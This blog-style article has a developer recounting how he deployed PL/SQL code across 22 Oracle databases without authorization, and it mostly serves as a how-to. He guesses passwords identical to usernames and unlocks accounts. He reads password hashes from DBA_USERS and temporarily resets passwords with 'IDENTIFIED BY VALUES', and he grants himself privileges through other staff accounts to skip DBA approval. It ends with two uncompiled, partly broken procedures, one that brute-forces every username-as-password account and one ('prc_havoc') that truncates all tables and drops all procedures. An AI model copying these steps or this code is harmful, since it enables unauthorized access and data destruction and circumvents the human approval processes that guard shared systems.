Chronicles of Database Privileges

I am out of words over how to start this article, how to proceed with this article, how to conclude this article.

Not that I don’t have anything to convey, just that, I am a bit amazed over how to describe the events that had occurred.

What happened?

There was a set of PL/SQL code, involving tables, procedures, database links, and synonyms; that had to be deployed across 23 different schemas on 23 different databases.

That’s not a very big deal, is it?

When out of those 23, you have login credentials of only 5-6 of them, and you are under political pressure to get them up soon, its not a small thing, is it?

But someone would be having those login credentials, isn’t it?

Things aren’t a bed of roses every time. Finding out those people, contacting them repeatedly, cross verifying what they had communicated – all this takes time. There are some situations, in which you have to deliver in the earliest time possible, in which I was.

So what did you do?

If I first give a brief of what my application was about, would that be fine? This way you’ll get a clearer picture of the events that transpired.

Ok, go ahead.

There is a legacy system called PBCL, which stores major transaction data. My application ASPA takes data from that system to build upon its set of programs that are of use to the client. Both PBCL and ASPA store data on the same database, in different schemas. Both are heavily database dependant and most of the processing is done using PL/SQL.

I had made an application on ASPA, at one of its databases. Now I had to deploy it across the remaining 22 as well. Hope you’d have got the idea over what was I supposed to do.

Yeah, now please explain the rest.

Oh god, first let me hit my head. Thuk thuk. Yeah, am better suited for explanation now.

i. So we didn’t have login credentials for most of the databases. In fact, we didn’t have the tns entries; I created them myself by getting their IP address and database name from somewhere. Port number, I followed my instinct, and randomly tried the ones that were commonly used over here.

By the grace of god, all the entries worked. I was worried about whether to go for SID or SERVICE NAME, chose the one that was more popular here, and it worked.

ii. Now I needed username. Among the 5-6 databases whose credentials I had, 2 had a username other than ASPA. So I thought I’d try with the schema name as ASPA.

iii. Password. The most common password setting I had seen over here was that – hold your breath (some may not be surprised) – that the password was same as username.

WHAT?

Maybe it makes things easier to share information across different set of users. In any case, no matter whatever security best practices do you implement, if it is written in destiny then your system would be hacked, do whatever you can. Reverse is also true. Maybe this is what they had in mind.

Anyway, using this I was able to login to 8 databases. Accordingly I deployed my code over there.

8 + 5 = 13. Out of total 23. What about the rest?

Am coming na. Have patience.

Patience, ok. Where can I buy it, in the market?

Stop cracking PJ’s, that is my forte. Coming on to the next point.

iv. Of the remaining 10, 2 users were locked (possibly due to entering the incorrect password multiple times in quick succession). So I logged into the parent user PBCL, with password same as username (!), and typed the following command

ALTER USER ASPA ACCOUNT UNLOCK;

In an ideal scenario, an application user (especially the one who is not a DBA) should not have the privilege to unlock another user. But it turned out to be useful for us. I logged in to those users by applying the password trend mentioned some paragraphs above – same as username.

But you will not be lucky like this every time.

I know. Which brings us to the next point.

v. When my hit-and-trial of the password didn’t work, due to non-compliance with the password (which is actually a good thing), I did the following.

Logged in to user PBCL (I need not tell what its password was) and typed the command

SELECT PASSWORD FROM DBA_USERS
WHERE USERNAME = 'ASPA';

I copied the encrypted password (in this case it was 67F4918F8BA712F3) to some other location on my machine (a text editor), and typed the following command

ALTER USER ASPA IDENTIFIED BY ASPA;

I immediately logged in to the user ASPA, deployed my code, then went back to PBCL and typed the following command

ALTER USER ASPA IDENTIFIED BY VALUES '67F4918F8BA712F3';

The keyword ‘values’, undocumented in Oracle, allowed me to reset the password on the basis of its encrypted value. This way I was able to log in the system without knowing the original password, without changing the existing password permanently.

You can’t be this lucky every time.

True. At times, the PBCL user was locked. I had heard of another application called KNCL deployed on the same database, so I logged into that user using the evergreen password trend, unlocked PBCL as well as ASPA, and presto!

So you deployed the code, just by changing the password.

vi. That isn’t it. Remember, in the beginning I had mentioned that I had to create database links and synonyms as well? In some databases I didn’t have the privilege to do that. So I logged into PBCL (KNCL in one case) and executed the following commands

GRANT CREATE DATABASE LINK TO ASPA;

GRANT CREATE SYNONYM TO ASPA;

You were able to find out the password, but what if you didn’t know the username?

vii. Happened in one instance. I had logged into PBCL and was trying to alter password of the user ASPA, when I got the error that the user ASPA didn’t exist.

I was aware of a table called ‘TAB_HPRO’ in ASPA that was common for all instances of the application. So on PBCL I typed the following command

SELECT OWNER FROM ALL_TABLES
WHERE TABLE_NAME = 'TAB_HPRO';

This command gave me the same result as well.

SELECT OWNER FROM ALL_OBJECTS
WHERE OBJECT_NAME = 'TAB_HPRO';

This way I got to know that the schema name in that particular database was different than the traditional one. I guess I needn’t explain how I logged in without knowing the password.

viii. Also, in one database, for which I didn’t have password for ASPA, I logged in to PBCL, and was about to change the password, then felt, why not try giving alias. So I pasted my procedure as follows.

CREATE OR REPLACE PROCEDURE ASPA.PRC_SQP AS
--Rest of the code here;
/

It compiled, without requiring me to actually log in to the system.

I tried this as well.

INSERT INTO ASPA.TAB_AA(ID)
VALUES (1);

COMMIT;

One row got inserted, when I created a new session for the user PBCL, I was able to view the data I just inserted by making use of the following query.

SELECT * FROM ASPA.TAB_AA
WHERE ID=1;

I tried deleting the row, and that operation was successful too.

Ok, so far fine, what if you couldn’t access both PBCL as well as KNCL?

ix. That also happened once. 🙂 I had logged in to ASPA, didn’t have required previlages to create database links and synonyms, and the password trend hadn’t been applied onto users PBCL and KNCL.

And so I was wondering, what to do now. I could approach the DBA team to get it all done, but didn’t want to involve them purposefully.

Finally you took DBA’s name! Please explain your reason.

Getting work done by DBA means, getting involved into numerous processes like raising requests, getting approvals, forwarding them the approval mails, doing follow-ups, waiting for the work to be performed, cross validating whether the desired operations had been successful or not, etc. I wanted things to be done in a jiffy, and also I felt I’d learn more in the process. Hence I took up doing the entire things myself as a challenge.

Coming back to where we were, I got the list of all users in the database by typing the following command in ASPA.

SELECT USERNAME FROM ALL_USERS;

In this list of around 3000 names, most of them had names of people. I doubted that most of these were even being used, and some had even left the organization. Talk of space issues, huh!

I started picking up names that resembled as if they belonged to some application, and of some prominent users of the application, thinking they’d have done quite a bit of tinkering with their user ID in order to learn more. I took out around 12 such users and started logging in with them.

With some I was successful, with some I wasn’t.

And what did you do with the successful ones?

I executed the following commands.

GRANT CREATE DATABASE LINK TO ASPA;

GRANT CREATE SYNONYM TO ASPA;

And before you ask another question, my efforts went in vein, except for one user, which had the sufficient privileges for granting these.

That’s it. My code deployed across all 23 instances.

Ha ha ha ha.

1942 – “Where there is a will, there is a way” – Alan Price.

2010 – “Where there is a will, there is a jugaad” – Yaju Arya.

What is a JUGAAD?

I wanted you to refer The Meaning Of Liff (Douglas Adams and John Lloyd), then wanted you to refer Google, and then I realised. I just applied Jugaad, mainly on the basis of instinct without following a set of standard best practices, and got what I wanted. Isn’t that enough? 😉

Is there anything ethically wrong with what you did?

This time, I’d be asking you few questions, and you’d have to answer them.

1. Is it right for a database application user to have sufficient rights to change the password of another user?

2. Is it right for a database application user to login to another user without even knowing its password?

3. Is it right for a database application user to unlock another user residing on the same database?

4. Is it right for a database application user to grant rights to another user for creation of database links and synonyms?

5. Is it right for a database application user to view list of all objects such as tables, procedures, etc. residing in other schemas?

6. Is it right for a database application user to deploy procedure on another schema without even logging into it? And insert/update data into a table?

7. Is it right for a database application user to create database links without proper authorization? If misused, they can create havoc on the destination database.

8. Is it right for any database user, not just the application one, to have such a weak password policy having password same as the user name? To put it mildly, having password similar to the user name?

9. As a general practice, is it right for different users on different databases to have the same password?

10. Is it right for a simple Application Developer, who is neither a DBA nor a Security consultant, to notice these glaring bloopers?

11. Is it appropriate to call the author unethical when he merely made use of the features made available to him, for delivering his product on time?

My purpose of asking the above questions is not to show someone in a negative light, but to showcase what happens when adequate security measures aren’t implemented at database level.

The only fictitious elements presented above were the names of applications, schemas, tables, etc. I did that for security purpose – come on, if I mention their names as it is, wouldn’t someone else come along and misuse that resulting in dire consequences?

As I wind up this article, I present two conceptual PL/SQL stored procedures. I haven’t compiled them; leave out the point of executing them. I haven’t put many comments to explain the purpose of what I am doing. Now that you have gone through the above article, it shouldn’t be difficult enough for you to comprehend what they are doing, based on which you can make out what can happen when your database has security loopholes.

PROGRAM I

create or replace procedure prc_grant_dblink as

cursor c1 is

select username from dba_users;
wrec c1%rowtype;
v_usr_gnt varchar2(20);

begin

v_usr_gnt := 'ABC';
for wrec in c1
loop

begin

execute immediate 'connect ' || wrec.username || '/' || wrec.username || '@' || ora_database_name ';';
execute immediate 'grant create database link to ' || v_usr_gnt || ';';

exception
when others then
null;

end;

-- Ok, just putting a comment, this'd check all users in the database with
-- password same as user name, as to which is the one it can connect in
-- order to grant previlage for creating database links.

end loop;

exception
when others then
null;
end;

PROGRAM II

create or replace procedure prc_havoc as

cursor c1 is

select owner, table_name
from all_tables;
wrec1 c1%rowtype;

cursor c2 is
select owner, procedure_name
from all_procedures;
wrec2 c2%rowtype;

cursor c3 is
select object_name from all_objects
where object_type = 'DATABASE LINK';
wrec3 c3%rowtype;

begin

for wrec1 in c1
loop

begin
execute immediate 'truncate table ' || wrec1.owner || '.' || wrec1.table_name || ';';
exception
when others then
null;
end;
end loop;

for wrec2 in c2

loop

begin
execute immediate 'drop procedure ' || wrec2.owner || '.' || wrec2.procedure_name || ';';
exception
when others then
null;
end;
end loop;

for wrec3 in c3

loop

begin
-- There should be another cursor, which would be a parameterized one, taking the
-- database link name as input. It would open all the table names or procedure
-- names on the remote database, and erase their contents. Come on, do you
-- expect me to spoon feed on this as well? :-P
exception
when others then
null;
end;
end loop;

exception
when others then
null;
end;

That’s it, article over. Any more questions, please send them across to me, I shall be delighted. 🙂